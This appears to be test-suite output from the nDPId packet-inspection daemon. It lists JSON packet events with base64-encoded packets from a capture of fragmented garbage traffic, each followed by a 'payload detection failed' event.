+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827158,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827167,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827176,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827212,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827222,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827231,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827240,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827253,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827262,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827274,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827280,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827289,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827295,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827304,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827313,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827324,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827334,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827341,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827350,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827361,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827370,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827377,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827385,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827395,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827422,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827440,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827476,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827509,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827516,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827524,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827533,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827541,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827549,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827556,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827564,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827577,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827589,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827600,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827612,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827626,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827638,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827650,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 